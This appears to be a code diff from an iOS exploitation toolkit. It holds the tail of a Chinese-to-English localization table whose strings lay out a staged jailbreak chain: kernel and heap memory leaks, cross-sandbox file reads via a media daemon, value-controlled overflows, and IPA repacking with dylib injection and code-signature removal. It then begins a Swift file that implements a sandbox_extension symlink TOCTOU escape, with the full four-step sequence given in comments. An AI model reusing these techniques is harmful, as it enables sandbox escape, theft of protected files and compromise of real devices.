": 解码失败": ": decode failed",
": 读取被拒绝(沙盒)": ": read refused (sandbox)",
"ANE 用户态入口探测": "ANE user-space entry probe",
"AVC 参数集路径已触发": "AVC parameter set path triggered",
"AVD.videodecoder 插件": "AVD.videodecoder plugin",
"AVD.videodecoder 插件(非 kext)": "AVD.videodecoder plugin (not a kext)",
"Apple 未将其视为安全问题,无 CVE": "Apple does not treat it as a security issue, no CVE",
"CGBitmapContext 创建失败": "CGBitmapContext create failed",
"CGDataProvider 创建失败": "CGDataProvider create failed",
"CGFont 拒绝该字体数据": "CGFont refused the font data",
"CGImageDestination 创建失败": "CGImageDestination create failed",
"CGImageSource 拒绝该数据": "CGImageSource refused the data",
"CGPDFDocument 解析失败(文件被拒绝)": "CGPDFDocument parse failed (file refused)",
"CHHapticEngine 初始化失败: ": "CHHapticEngine init failed: ",
"CHHapticEngine 启动成功": "CHHapticEngine started",
"CHHapticEngine 启动成功(沉浸式音频会话已建立)": "CHHapticEngine started (immersive audio session established)",
"CHHapticEngine 未尝试": "CHHapticEngine not attempted",
"CMGetDMVersionLevelFromRPU 未导出": "CMGetDMVersionLevelFromRPU not exported",
"CTFontGetLigatureCaretPositions 返回 ": "CTFontGetLigatureCaretPositions returned ",
"CoreMedia 符号不可用": "CoreMedia symbols unavailable",
"CoreMedia 符号解析失败,或 XPC 连接无法创建": "CoreMedia symbol resolution failed, or the XPC connection cannot be created",
"DRC 路径探测完成": "DRC path probe complete",
"EACCES 沙盒拒绝访问": "EACCES sandbox access refusal",
"EDQUOT 超出配额": "EDQUOT over quota",
"EEXIST 已存在": "EEXIST already exists",
"EISDIR 目标是目录": "EISDIR target is a directory",
"ENAMETOOLONG 名称过长": "ENAMETOOLONG name too long",
"ENOENT 父目录或文件不存在": "ENOENT parent or file absent",
"ENOSPC 空间不足": "ENOSPC no space",
"ENOTDIR 路径中间是文件": "ENOTDIR path component is a file",
"EPERM — 沙盒拒绝": "EPERM — sandbox refusal",
"EPERM 操作被拒绝": "EPERM operation refused",
"EROFS 只读文件系统": "EROFS read-only filesystem",
"EXDEV 跨卷(.atomic 写到了别的卷)": "EXDEV cross-volume (.atomic landed on another volume)",
"FigXPCCreateBasicMessage('Curl') 失败": "FigXPCCreateBasicMessage('Curl') failed",
"FontParser · charstring 解释器": "FontParser · charstring interpreter",
"GPS 读取存活": "GPS read survived",
"GPT 头: 条目表 LBA ": "GPT header: entry array LBA ",
"GPT 镜像已构造并解析": "GPT image built and parsed",
"HEVC 参数集 = ": "HEVC parameter set = ",
"HEVC 层路径已触发": "HEVC layer path triggered",
"HID 路径可达性": "HID path reachability",
"IOHIDFamily · caps 表查找": "IOHIDFamily · caps table lookup",
"IOKit 事件入口探测": "IOKit event entry probe",
"IOPSCopyPowerSourcesInfo 不可用": "IOPSCopyPowerSourcesInfo unavailable",
"IPA 产出": "IPA output",
"IPA 手术链路可用": "IPA surgery pipeline available",
"ImageIO · 图像解析": "ImageIO · image parsing",
"ImageIO · 纹理与编码": "ImageIO · textures and codecs",
"Info.plist 读取失败,跳过字段改写": "Info.plist read failed, skipping field rewrite",
"LigCaret 查询完成": "LigCaret query complete",
"MDLAsset 载入完成 ": "MDLAsset load complete ",
"OOB 写": "OOB write",
"OOB 读": "OOB read",
"PDF 无第 ": "PDF has no page ",
"PDF 解码路径已触发": "PDF decode path triggered",
"Payload/ 下没有 .app": "no .app under Payload/",
"RockRidge CL/PL 环:27.0 与 27.2 都未修(上游已修,Apple 未取)": "RockRidge CL/PL cycle: unfixed in both 27.0 and 27.2 (fixed upstream, Apple did not take it)",
"RockRidge 路径已遍历": "RockRidge path traversed",
"SBHomeScreenService 在进程内: ": "SBHomeScreenService in-process: ",
"SQLite3 不可用": "SQLite3 unavailable",
"SpringBoard 路径探测": "SpringBoard path probe",
"Type-5 阴影的写入是值可控的,但短溢出会被相邻 VLA 吸收。逐级抬升 R,确定该构建上栈布局开始失效的维度。": "The Type-5 shading write is value-controlled, but a short overflow is absorbed by the adjacent VLA. Step R upward to find the dimension at which this build's stack layout starts to break.",
"UDID (设备)": "UDID (device)",
"XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
"XNU 内核": "XNU kernel",
"archive_read_new 失败": "archive_read_new failed",
"audioCustom 事件已投递": "audioCustom event delivered",
"caret 坐标: ": "caret positions: ",
"charstring 推 300 个操作数": "charstring pushes 300 operands",
"codespace 长度 128": "codespace length 128",
"com.apple.decmpfs 是内核压缩文件系统用的属性。改它等于直接改内核解压的输入 —— CVE-2026-113910 就是这条路径上「解压产出少于预期」时内核把未写满的页缓冲交给用户态。这里可以手动设一个、读回来、再删掉。": "com.apple.decmpfs is the attribute the kernel's compressed filesystem uses. Changing it changes the input the kernel decompresses — CVE-2026-113910 is exactly this path: when decompression under-produces, the kernel hands the unwritten page buffer back to user space. Here you can set one by hand, read it back, then delete it.",
"consume 后读取失败: ": "read after consume failed: ",
"decmpfs 操作": "decmpfs operations",
"dlopen 失败": "dlopen failed",
"entitlements: 无法读取(SecTask 不可用或为空)": "entitlements: unreadable (SecTask unavailable or empty)",
"fcTL 声明 26B 实到 4B": "fcTL declares 26B, 4B present",
"getifaddrs 失败": "getifaddrs failed",
"hosts 表": "hosts table",
"iOS 27.2 起修复": "fixed since iOS 27.2",
"issue_file 被拒: ": "issue_file refused: ",
"libarchive 不可用": "libarchive unavailable",
"libarchive 的 2 字节堆越界与 CoreMedia 的 28 字节结构体外写,是整套中仅有的两个「写穿过对象边界」的形状。前者精确但浅,后者深且落在保存寄存器区。同一 CVE 下的 CAB 站点与 GPT 分区名越界读一并标定。": "libarchive's 2-byte heap overrun and CoreMedia's 28-byte write past the struct are the only two \"write across an object boundary\" shapes in the whole set. The former is precise but shallow; the latter is deep and lands in the saved-register area. The CAB site under the same CVE and the GPT partition-name OOB read are calibrated alongside.",
"libarchive 解包 ": "libarchive unpacked ",
"libarchive 返回 ": "libarchive returned ",
"libarchive.2.dylib 无法 dlopen(沙盒或路径受限)": "libarchive.2.dylib cannot dlopen (sandbox or path restricted)",
"magic cmpf · 类型 ": "magic cmpf · type ",
"mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。": "mediaplaybackd.bytestream.xpc is reachable from any sandboxed app. The daemon opens the client-specified absolute path with its own credentials and puts a live descriptor into the reply's ByteStreamDetails. Descriptor-level I/O is not subject to the client sandbox's path checks — a file whose open() returns EPERM for the app itself can be read back in full through that descriptor.",
"mkdir 失败: ": "mkdir failed: ",
"networkd 偏好": "networkd prefs",
"opcode 已被封 (-16158)": "opcode sealed (-16158)",
"plist 语法错误,未写入": "plist syntax error, not written",
"registerAudioResource 失败: ": "registerAudioResource failed: ",
"sandbox_extension 符号不可用": "sandbox_extension symbols unavailable",
"sandbox_extension_issue_file / consume 无法解析": "sandbox_extension_issue_file / consume cannot be resolved",
"sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。": "sandbox_extension_issue_file resolves the symlink at issue time but does not enforce SANDBOX_EXTENSION_NOFOLLOW. The token it returns is bound to the target resolved at issue time, and the kernel never re-verifies the path used at consume time. The sequence: create link L in the sandbox pointing at in-sandbox file S → issue the extension for L (the kernel records S) → repoint L at out-of-sandbox target T → consume the token and read through L.",
"setxattr 失败 errno=": "setxattr failed errno=",
"symlink(decoy) 失败: ": "symlink(decoy) failed: ",
"symlink(target) 失败: ": "symlink(target) failed: ",
"— 判定 —": "— verdict —",
"— 基线 —": "— baseline —",
"— 失效模式验证 —": "— failure mode verification —",
"— 存在性预言机 —": "— existence oracle —",
"— 对照 —": "— control —",
"— 平台限制 —": "— platform limit —",
"— 目录枚举 —": "— directory listing —",
"— 读取 —": "— read —",
"✓ AudioCodecs 可加载": "✓ AudioCodecs loadable",
"✓ 书签 ": "✓ bookmarked ",
"✓ 已创建 ": "✓ created ",
"✓ 已加入书签": "✓ bookmarked",
"✗ AudioCodecs 无法 dlopen": "✗ AudioCodecs cannot dlopen",
"上下文创建失败": "context create failed",
"不可用": "unavailable",
"不可见": "not visible",
"不可读": "unreadable",
"不存在": "absent",
"不存在 ": "absent ",
"不存在 (-17913)": "absent (-17913)",
"不存在(未修复)": "absent (unfixed)",
"不是 Mach-O": "not a Mach-O",
"不是 decmpfs(magic 0x": "not decmpfs (magic 0x",
"两者均失败:直接读 errno ": "both failed: direct errno ",
"两者都需要稳定的堆布局控制,而这正是上一阶段泄露所提供的。": "Both need stable heap-layout control, which is exactly what the previous stage's leaks provide.",
"个原语": " primitives",
"主二进制读取失败(可能已加密)": "main binary read failed (possibly encrypted)",
"主密码文件(通常不可读)": "master password file (usually unreadable)",
"主机名": "hostname",
"事件投递失败: ": "event delivery failed: ",
"二进制": "binary",
"产出": "output",
"产出 ": "output ",
"会话建立失败": "session setup failed",
"低电量模式": "low power mode",
"信息泄露": "info leak",
"值偏移 +65536": "value offset +65536",
"值可控写": "value-controlled write",
"值可控写与地址泄露相加,构成构造可控状态的全部要素;所缺的是将写转为执行的环节。": "Value-controlled write plus address disclosure is every element needed to build controlled state; what is missing is the step that turns the write into execution.",
"元数据读取完成": "metadata read complete",
"充电中": "charging",
"先取得地址与内容。decmpfs 欠产出将内核页缓冲尾部交回用户态;TIFF 截断条带与 EXIF 短读将进程堆残留交回图像与元数据;CoreMedia bytestream 与 sandbox_extension 越过沙盒边界取回文件内容。": "Addresses and content come first. decmpfs under-production hands the kernel page-buffer tail back to user space; the truncated TIFF strip and the EXIF short read hand process-heap residue back as image and metadata; the CoreMedia bytestream and sandbox_extension cross the sandbox boundary and retrieve file contents.",
"全局偏好": "global prefs",
"全局偏好(/private 前缀)": "global prefs (/private prefix)",
"全部 ": "all ",
"全部读取": "read all",
"关": "off",
"内容": "content",
"内容 (": "content (",
"内核": "kernel",
"内核面": "kernel surface",
"写入失败: ": "write failed: ",
"写入探测属性": "write probe attribute",
"写入被拒 (-12878)": "write refused (-12878)",
"分配/拆除路径可用,通知武装被平台拒绝": "allocate/teardown path available, notification arming refused by the platform",
"分配路径已触发": "allocation path triggered",
"创建 ": "created ",
"判定依据:直接读被拒 且 经链接读成功": "verdict basis: direct read refused AND read via link succeeded",
"十六进制": "hex",
"十六进制查找: ": "hex search: ",
"协议表": "protocol table",
"压缩类型 3 = LZX": "compression type 3 = LZX",
"发现 ": "found ",
"取自本进程的 Mach-O:": "Mach-O taken from this process: ",
"只支持 64 位 Mach-O": "only 64-bit Mach-O supported",
"只读": "read-only",
"只读(探针未通过)": "read-only (probe failed)",
"可写": "writable",
"可写根目录: ": "writable roots: ",
"可开": "openable",
"可开 ": "openable ",
"可开(code 0)": "openable (code 0)",
"可用空间: ": "free space: ",
"可见": "visible",
"可读": "readable",
"可读域: ": "readable domain: ",
"可达性探测": "reachability probe",
"合计 ": "total ",
"名称 → ": "name → ",
"否": "no",
"否(需 IOKit 平台 Expert 接口)": "no (needs the IOKit platform expert interface)",
"启动 UUID": "boot UUID",
"启动时间": "boot time",
"命中 ": "hit ",
"回复类型 ": "reply type ",
"回复类型: ": "reply type: ",
"回复里没有 fd": "no fd in reply",
"因此握手收不到任何回复。真机上该服务常驻,握手应返回字典。": "So the handshake gets no reply. On a real device the service is resident and the handshake should return a dictionary.",
"因此该原语在此平台上无法给出证据。真机上直接读应返回 EPERM,": "So the primitive cannot produce evidence on this platform. On a real device the direct read should return EPERM,",
"在取得稳定泄露之后,才有条件讨论将溢出写成什么值;否则只能触发崩溃。": "Only after a stable leak is there any basis for choosing what the overflow writes; before that, it can only crash.",
"在标定所得长度上,以 PDF 中选定的 double 位模式决定被覆盖的指针。崩溃地址即证据 —— 它证明写入内容由攻击者控制,而非仅证明发生了崩溃。": "At the calibrated length, the double bit pattern chosen in the PDF decides the pointer that gets overwritten. The fault address is the evidence — it proves the written content is attacker-controlled, not merely that a crash happened.",
"坐标即追链读到的 16 位值": "the positions are the 16-bit values the chain read",
"基线已采集": "baseline captured",
"声明长度 65518": "declared length 65518",
"处理中…": "working…",
"备份": "backups",
"备份往返 ": "backup round-trip ",
"外设": "peripheral",
"大小": "size",
"失败": "failed",
"失败 —— ../ 逃出了目标目录": "failed — ../ escaped the destination",
"失败: ": "failed: ",
"头部空隙不足:需要 ": "header gap insufficient: need ",
"字体 / Model I/O": "fonts / Model I/O",
"字体加载成功 name=": "font loaded name=",
"字体在 CGFont 层被拒绝": "font refused at the CGFont layer",
"字体在解析阶段被拒绝": "font refused at parse stage",
"字体安装": "font install",
"字体已加载并绘制": "font loaded and drawn",
"字符串替换 ": "string replace ",
"字符串替换 Cinder27 → Cind3r27:": "string replace Cinder27 → Cind3r27: ",
"字符串替换失败:": "string replace failed: ",
"存在": "present",
"存在·被拒 ": "present·refused ",
"存在但被拒 (-12203)": "present but refused (-12203)",
"存在性预言机": "existence oracle",
"存在(已修复)": "present (fixed)",
"存活: ": "survived: ",
"守护进程以自身凭据打开客户端指定的路径": "the daemon opens the client-specified path with its own credentials",
"完成": "done",
"容器占用: ": "container usage: ",
"容器已处于正常状态,无需修复": "container already healthy, no repair needed",
"容器根": "container root",
"容器根: ": "container root: ",
"对照 直接读 ": "control direct read ",
"对照: 应用自身 open() 被 EPERM 拒绝": "control: the app's own open() refused with EPERM",
"对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。": "notification registration on own ports returns -300 (KERN_INVALID_CAPABILITY).",
"将上述产物转为可用形式:IPA 改包、二进制注入、字节级替换、属性改写、数据库读取。本层不依赖任何漏洞,但它是「漏洞能力」最终交付到手上的形态。": "Turn those artifacts into usable form: IPA repacking, binary injection, byte-level replacement, attribute rewriting, database reads. This layer depends on no vulnerability, but it is the shape in which \"vulnerability capability\" is finally delivered into the hand.",
"尺寸 ": "size ",
"届时「直接读被拒 + 经链接读成功」即为越界成立的判定。": "At that point \"direct read refused + read via link succeeded\" is the verdict that the boundary was crossed.",
"工作区": "Workspace",
"工具会解包、改 Info.plist、往主二进制里插 LC_LOAD_DYLIB、做字节级字符串替换、去掉 LC_CODE_SIGNATURE,然后重新打成 zip。产出仍然是未签名的 —— 你用同一套证书签它。": "The tool unpacks, edits Info.plist, inserts LC_LOAD_DYLIB into the main binary, does byte-level string replacement, removes LC_CODE_SIGNATURE, then repacks into a zip. The output is still unsigned — you sign it with the same certificate.",
"工具链自检": "toolchain self-test",
"工具链落地": "toolchain landed",
"已写入 ": "written ",
"已创建但探针失败: ": "created but probe failed: ",
"已取回": "retrieved",
"已注册到用户字体域:": "registered into user font domain: ",
"已移除": "removed",
"已选择 ": "selected ",
"市场名称": "marketing name",
"帧数 ": "frames ",
"广告标识符": "advertising identifier",
"序列号可读": "serial readable",
"序列开始: ": "sequence start: ",
"序列结束: ": "sequence end: ",
"应用与系统进程": "apps and system processes",
"开": "on",
"引擎启动失败: ": "engine start failed: ",
"引擎已停止": "engine stopped",
"归档 ": "archive ",
"当前为模拟器:模拟器不对应用施加沙盒,直接读与经链接读都会成功,": "This is the simulator: it applies no sandbox to apps, so both the direct read and the read via the link succeed,",
"当前为模拟器:模拟器内不运行 mediaplaybackd,该 Mach 服务无人监听,": "This is the simulator: mediaplaybackd does not run inside it, no one listens on that Mach service,",
"成功": "ok",
"所有标准目录已存在": "all standard directories exist",
"手术失败:": "surgery failed: ",
"手术完成:": "surgery complete: ",
"手术未完成": "surgery incomplete",
"打开失败": "open failed",
"执行": "run",
"扩展属性": "extended attributes",
"扫描完成": "scan complete",
"找不到主二进制名": "main binary name not found",
"把字体文件注册进本进程的字体域。iOS 允许应用注册用户字体,注册后 CoreText 立刻可见 —— 这是改机里唯一一条完全不需要任何越权就能改「系统观感」的路径,代价是只在本进程生效。": "Register font files into this process's font domain. iOS lets apps register user fonts, visible to CoreText immediately — the one device-modification path that needs no privilege at all to change the \"system look\"; the price is that it only takes effect in this process.",
"把容器内的偏好、文稿与工具产物打成 ZIP。归档走同一写入器,可被 libarchive 解回。": "Packs the container's preferences, documents and tool output into a ZIP. The archive goes through the same writer and reads back with libarchive.",
"持有授权": "entitlement held",
"探测": "probe",
"探针 = 建文件 → 写 → fsync → 读回 → 比对 → 删除": "probe = create file → write → fsync → read back → compare → delete",
"接受 · 尺寸 ": "accepted · size ",
"握手建立: ": "handshake established: ",
"握手未完成": "handshake incomplete",
"握手被拒绝": "handshake refused",
"搜索串为空": "search string empty",
"搜索字符串": "search string",
"操作数 300 > 栈容量 48": "300 operands > stack capacity 48",
"数据库": "database",
"数据过短": "data too short",
"整数溢出": "integer overflow",
"文本查找 Cinder27: ": "text search Cinder27: ",
"文本,或 41 42 43 / 0x414243": "text, or 41 42 43 / 0x414243",
"新名字": "new name",
"无": "none",
"无 GPT 签名": "no GPT signature",
"无可用属性": "no attributes available",
"无外部地址": "no external address",
"无授权 — 只能走无线链路": "no entitlement — radio link only",
"无数据": "no data",
"无条目(解码器在块层就停了)": "no entries (decoder stopped at the block layer)",
"无法 dlopen CoreMedia 或解析 FigXPC 入口": "cannot dlopen CoreMedia or resolve the FigXPC entry points",
"无法创建 ": "cannot create ",
"无法建立会话": "cannot establish session",
"无法读取自身二进制": "cannot read own binary",
"无线链路": "radio link",
"无错误": "no error",
"无需竞态窗口": "no race window needed",
"无(符号被 strip 或不可见)": "none (symbol stripped or invisible)",
"日历附件遏制路径探测": "Calendar attachment containment probe",
"是": "yes",
"显示名称": "display name",
"更多": "more",
"替换 ": "replaced ",
"替换: ": "replace: ",
"替换串不能比原串长 —— 这是原地改写,不改文件布局,所以不会破坏任何偏移。注入 LC_LOAD_DYLIB 需要头部有空隙,没有就会明确报出来。": "The replacement cannot be longer than the original — this is an in-place rewrite that keeps the file layout, so no offset is disturbed. Injecting LC_LOAD_DYLIB needs a header gap; if there is none it is reported explicitly.",
"替换串不能比原串长(": "replacement cannot exceed original (",
"替换为": "replace with",
"替换失败: ": "replace failed: ",
"替换并保存": "replace and save",
"替换(可选,不能更长)": "replace (optional, not longer)",
"最低系统": "minimum OS",
"有效(../ 未逃出)": "effective (../ did not escape)",
"有断言不成立": "assertion failed",
"有断言失败": "assertion failed",
"服务无人监听 —— 该构建可能已移除或重命名该 Mach 服务。": "no service listener — this build may have removed or renamed the Mach service.",
"服务无人监听(本平台不适用)": "no listener for the service (not applicable here)",
"服务有回复但握手被拒绝。": "service replied but the handshake was refused.",
"服务有回复但非字典 —— 握手被拒绝。": "service replied but not with a dictionary — handshake refused.",
"服务表": "service table",
"未修复": "unfixed",
"未发现内核指针": "no kernel pointers found",
"未取到数据": "no data retrieved",
"未命中": "miss",
"未命中,未写入": "miss, not written",
"未在产出里找到源标记的填充区": "no marker padding found in the output",
"未知": "unknown",
"未读到内容": "no content read",
"未返回数据(沙盒或接口不可用)": "no data returned (sandbox or interface unavailable)",
"本容器内 IconState: ": "IconState in this container: ",
"本模块仍完成了 ": "this module still completed ",
"本次新建: ": "created now: ",
"本进程": "this process",
"机型": "model",
"权限受限": "entitlement-gated",
"权限面已采集": "privilege surface captured",
"权限面测绘": "privilege surface mapping",
"条目 ": "entries ",
"构建号": "build",
"构造 ": "built ",
"枚举目录": "enumerate",
"查找": "find",
"查找 / 替换": "find / replace",
"查找替换全部断言通过": "all find/replace assertions passed",
"查询(只读)": "query (read-only)",
"校验方法不存在(27.0 未修复)": "validator absent (unfixed in 27.0)",
"校验方法存在(27.2 已修复)": "validator present (fixed in 27.2)",
"植入 ": "planted ",
"沉浸式音频入口探测完成": "immersive audio entry probe complete",
"沙盒 / 签名 / entitlements": "sandbox / signing / entitlements",
"注入 LC_LOAD_DYLIB → ": "inject LC_LOAD_DYLIB → ",
"注入 LC_LOAD_DYLIB:ncmds ": "inject LC_LOAD_DYLIB: ncmds ",
"注入 dylib 路径": "dylib path to inject",
"注入失败: ": "inject failed: ",
"注入未成功(头部无空隙):": "injection failed (no header gap): ",
"注册失败(无错误信息)": "registration failed (no error)",
"注册失败:": "registration failed: ",
"活跃": "active",
"消费 ": "consume ",
"清理残留探针 ": "cleaning leftover probes ",
"温度": "temperature",
"渲染存活 — 该构建未受影响": "render survived — this build unaffected",
"渲染存活(与源分析的负结果一致)": "render survived (matches the source-analysis negative)",
"源 ": "source ",
"源 IPA": "source IPA",
"源 JPEG ": "source JPEG ",
"源解码失败": "source decode failed",
"源解码失败(标记先被拒绝了)": "source decode failed (marker refused first)",
"溢出阈值标定": "overflow threshold calibration",
"热状态": "thermal state",
"版本": "version",
"物理内存": "physical memory",
"生成改机 IPA": "build modified IPA",
"生效用户设置": "effective user settings",
"用户态可触及的内核入口数量有限。ipc_port 请求表索引竞态无 entitlement 门槛;decmpfs 已在泄露层验证。本层度量的是「能否将用户态的错误转为内核侧的状态变化」。": "The kernel entries reachable from user space are few. The ipc_port request-table index race has no entitlement gate; decmpfs is already verified in the leak layer. This layer measures whether a user-space error can be turned into kernel-side state change.",
"电源": "power",
"电量": "battery",
"目标": "target",
"目标 ": "target ",
"目标 ": "target ",
"目标创建失败": "target create failed",
"目标文件": "target file",
"直接 open 成功(意外)": "direct open succeeded (unexpected)",
"直接 open 被拒 errno=": "direct open refused errno=",
"直接读也成功 ": "direct read also succeeded ",
"直接读被拒 (errno ": "direct read refused (errno ",
"真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。": "A real but refused path returns -12203, a nonexistent one -17913. Two distinct server-side error codes disclose whether a file exists without granting any access.",
"码 ": "bytes ",
"硬件型号": "hardware model",
"确定该构建上的实际起点:进程持有哪些 entitlement、沙盒放行到哪一层、mach 命名空间如何组织。后续每一步的收益都要以该基线折算。": "Establish the real starting point on this build: which entitlements the process holds, how far the sandbox lets it through, how the mach namespace is organised. Every later stage's yield is measured against this baseline.",
"种子 ": "seed ",
"种子缺失": "seed missing",
"种子缺失 deep_nest.usda": "seed missing deep_nest.usda",
"种子缺失 joliet_path_oob.iso": "seed missing joliet_path_oob.iso",
"种子缺失 ktx2_bad_dims.ktx2": "seed missing ktx2_bad_dims.ktx2",
"种子缺失 stack_bomb.cff": "seed missing stack_bomb.cff",
"移除": "removed",
"移除 LC_CODE_SIGNATURE": "remove LC_CODE_SIGNATURE",
"移除 LC_CODE_SIGNATURE ×": "remove LC_CODE_SIGNATURE ×",
"移除 LC_CODE_SIGNATURE:": "remove LC_CODE_SIGNATURE: ",
"移除失败: ": "remove failed: ",
"移除损坏的 journal": "removing corrupt journal",
"空闲": "idle",
"竞态完成 ": "race done ",
"竞态完成,内核返回 ": "race done, kernel returned ",
"符号不可用": "symbol unavailable",
"符号解析失败": "symbol resolution failed",
"签发 ": "issue ",
"签发时解析链接目标,消费时不复核路径": "resolves the link target at issue time and never re-verifies the path at consume time",
"类型混淆": "type confusion",
"系统可用字体(": "system fonts (",
"系统组数据库": "system group database",
"系统账户数据库": "system account database",
"系统账户数据库(/private 前缀)": "system account database (/private prefix)",
"系统进程": "system process",
"累计路径 1024 B": "cumulative path 1024 B",
"结果": "result",
"缺失": "missing",
"缺少该基线,无法区分「漏洞所得」与「签名所授」。": "Without that baseline there is no separating what a vulnerability earned from what the signature granted.",
"网络": "network",
"耗时异常 —— 递归路径可能没有终止条件": "abnormal duration — the recursive path may have no terminator",
"联动": "chain",
"自己写 ZIP → libarchive 读回": "own ZIP writer → libarchive read-back",
"自检全绿意味着工具链本身可信 —— 此后出现的问题是选择问题,不是工具问题。": "All-green self-tests mean the toolchain itself is trustworthy — any problem after that is a targeting problem, not a tooling problem.",
"自造 IPA:": "self-built IPA: ",
"表: ": "table: ",
"被拒绝本身即说明校验发生在解释器之前 —— 这是该构建上有效的观测。": "The refusal itself proves the validation happens before the interpreter — a valid observation on this build.",
"视频编解码": "video codecs",
"解包": "unpack",
"解包 ": "unpacked ",
"解包失败:": "unpack failed: ",
"解析 ": "parsed ",
"解析器面": "parser surface",
"解析存活(已解码=": "parse survived (decoded=",
"解析返回 ": "parse returned ",
"解码 ": "decoded ",
"解码器可达性探测完成": "decoder reachability probe complete",
"解码器接受参数集 · 尺寸 ": "decoder accepted the parameter set · size ",
"解码存活 ": "decode survived ",
"解码存活 · 尺寸 ": "decode survived · size ",
"解码存活 · 帧数 ": "decode survived · frames ",
"解码存活(已解码=": "decode survived (decoded=",
"解码返回错误: ": "decode returned error: ",
"触觉事件已尝试": "haptic event attempted",
"记录": "record",
"该 Mach 服务无人监听 —— 本平台不适用(模拟器内不运行 mediaplaybackd)。真机上该服务常驻。": "no one listens on that Mach service — not applicable on this platform (mediaplaybackd does not run in the simulator). On a real device the service is resident.",
"该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。": "This platform forbids that arming path, so the request-table index race cannot be driven here.",
"该平台未施加沙盒 — 无证据": "no sandbox on this platform — no evidence",
"该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。": "The sequence holds deterministically and needs no race window. Apple does not treat it as a security issue, so there is no CVE number.",
"该构建上未越界": "not out of bounds on this build",
"该阈值决定后续所有负载的长度预算。": "That threshold sets the length budget for every subsequent payload.",
"详情": "detail",
"请求表路径无法被武装。真机上应返回 KERN_SUCCESS。": "The request-table path cannot be armed. On a real device it should return KERN_SUCCESS.",
"读写正常": "read/write ok",
"读取 ": "read ",
"读取 ": "read ",
"读取 IPA 失败": "IPA read failed",
"读取失败": "read failed",
"读取失败 errno=": "read failed errno=",
"读取失败: ": "read failed: ",
"读回内容不一致": "read-back mismatch",
"读回失败: ": "read-back failed: ",
"资产载入存活": "asset load survived",
"越过沙盒读取": "read past sandbox",
"越过沙盒读取 ": "read past sandbox ",
"跨沙盒": "cross-sandbox",
"跨沙盒读取 ": "cross-sandbox read ",
"跨越边界 ": "crossed boundary ",
"路径": "path",
"路径不存在 (-17913)": "path absent (-17913)",
"路径中间不是目录": "path component is not a directory",
"路径存在但拒绝访问 (-12203)": "path present but access refused (-12203)",
"路径穿越遏制: ": "path traversal containment: ",
"输出不稳定 — 未初始化内存迹象": "output unstable — uninitialised-memory signature",
"输出干净": "output clean",
"输出文件里出现 ": "output file contains ",
"输出稳定": "output stable",
"过程": "process",
"运行时长": "uptime",
"返回 0 —— 偏移被钳制或链未被跟随": "returned 0 — offset clamped or chain not followed",
"返回错误: ": "returned error: ",
"进程内": "in-process",
"连接 com.apple.coremedia.mediaplaybackd.bytestream.xpc": "connecting to com.apple.coremedia.mediaplaybackd.bytestream.xpc",
"连接对象已创建: ": "connection created: ",
"选择 .sqlite / .db": "choose .sqlite / .db",
"选择一个 .ipa": "choose an .ipa",
"选择一个文件": "choose a file",
"选择字体文件": "choose a font file",
"选择文件": "choose file",
"逐字节比对: ": "byte comparison: ",
"通过": "passed",
"遍历完成,": "traversal complete, ",
"重复越界写 32 次": "repeat OOB write 32×",
"重打包 ": "repacked ",
"重编码成功=": "re-encode ok=",
"错误: ": "error: ",
"错误码 ": "error code ",
"镜像 ": "image ",
"镜像过短": "image too short",
"需要 65536 B,实际 64 B": "needs 65536 B, 64 B present",
"需达到可复现阈值;低于该阈值时,越狱路径不成立。": "A reproducible threshold is required; below it the jailbreak chain does not hold.",
"音频栈": "audio stack",
"音频资源 id=": "audio resource id=",
"页面 4000×4000 · 需要 64 MB 缓冲": "page 4000×4000 · needs a 64 MB buffer",
"页面渲染完成 ": "page rendered ",
"项": "entries",
"验证了名称空间的分配/拆除路径本身可用。": "verifies that the namespace allocate/teardown path itself works.",
"(按设计不接受新建文件,不计入探针)": " (by design accepts no new files, excluded from probes)",
")": ")",
",含 LC_LOAD_DYLIB=": ", contains LC_LOAD_DYLIB=",
",命令数 ": ", load commands ",
",尺寸 ": ", size ",
",属性 ": ", attrs ",
",已绘制 ": ", drawn ",
",已解码 ": ", decoded ",
",经链接 ": ", via link ",
",经链接亦失败": ", via link also failed",
",经链接读到内容": ", via link read content",
]
}
+224
View File
@@ -0,0 +1,224 @@
import Foundation
import Darwin
// MARK: - sandbox_extension symlink TOCTOU
//
// No CVE — Apple does not treat this as a security issue, so there is no advisory to cite
// and none is invented here.
//
// `sandbox_extension_issue_file(CLASS, path, flags)` resolves the path's symlink at *issue*
// time but does not enforce `SANDBOX_EXTENSION_NOFOLLOW`. The token it returns is therefore
// bound to the resolved target at issue time — and the kernel does not re-verify that the
// path used at *consume* time is the path the token was issued for.
//
// So:
// 1. create a symlink L → S, where S is a file inside the sandbox
// 2. issue an extension for L (kernel records S)
// 3. repoint L → T, where T is outside the sandbox
// 4. consume the token, then read through L (kernel allows S's class, not T's path)
//
// Deterministic: no race window is needed because the swap happens between two syscalls the
// app itself controls. Apple's position is that an app cannot issue extensions for paths it
// does not already own — true, and irrelevant: the extension is issued for a path it *does*
// own, then that path is made to denote something else.
enum SandboxExtension {
// Private but exported from libsystem_sandbox.dylib. Declared here rather than imported
// because the SDK ships no prototype.
private typealias IssueFn = @convention(c) (UnsafePointer<CChar>, UnsafePointer<CChar>, UInt64) -> UnsafeMutablePointer<CChar>?
private typealias ConsumeFn = @convention(c) (UnsafePointer<CChar>) -> Int64
private typealias ReleaseFn = @convention(c) (Int64) -> Void
private struct Bindings {
let issue: IssueFn
let consume: ConsumeFn
let release: ReleaseFn
}
private static func bind() -> Bindings? {
guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) ?? dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOW) else {
return nil
}
// Try the direct dlsym first, then the explicit library.
